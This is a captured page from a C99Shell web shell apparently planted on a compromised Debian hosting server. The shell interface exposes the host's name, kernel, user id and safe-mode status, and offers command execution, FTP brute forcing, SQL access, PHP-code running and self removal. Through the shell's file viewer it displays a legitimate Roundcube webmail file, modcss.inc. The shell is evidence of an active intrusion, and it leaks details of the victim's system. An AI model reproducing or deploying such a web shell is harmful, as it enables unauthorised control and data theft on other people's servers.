!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/program/steps/utils/   drwxr-xr-x
Free 1.42 GB of 7.22 GB (19.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modcss.inc (2.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/steps/utils/modcss.inc                                        |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2007-2012, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Modify CSS source from a URL                                        |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

$url preg_replace('![^a-z0-9.-]!i'''$_GET['_u']);

if (
$url === null || !($realurl $_SESSION['modcssurls'][$url])) {
    
header('HTTP/1.1 403 Forbidden');
    exit(
"Unauthorized request");
}

// don't allow any other connections than http(s)
if (!preg_match('~^(https?)://~i'$realurl$matches)) {
    
header('HTTP/1.1 403 Forbidden');
    exit(
"Invalid URL");
}

if (!
ini_get('allow_url_fopen')) {
    
header('HTTP/1.1 403 Forbidden');
    exit(
"HTTP connections disabled");
}

$scheme  strtolower($matches[1]);
$options = array(
    
$scheme => array(
        
'method' => 'GET',
        
'timeout' => 15,
    )
);

$context stream_context_create($options);
$source  = @file_get_contents($realurlfalse$context);

// php.net/manual/en/reserved.variables.httpresponseheader.php
$headers implode("\n", (array)$http_response_header);
$ctype   '~Content-Type:\s+text/(css|plain)~i';

if (
$source !== false && preg_match($ctype$headers)) {
    
header('Content-Type: text/css');
    echo 
rcmail_mod_css_styles($sourcepreg_replace('/[^a-z0-9]/i'''$_GET['_c']));
    exit;
}

header('HTTP/1.0 404 Not Found');
exit(
"Invalid response returned by server");

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0095 ]--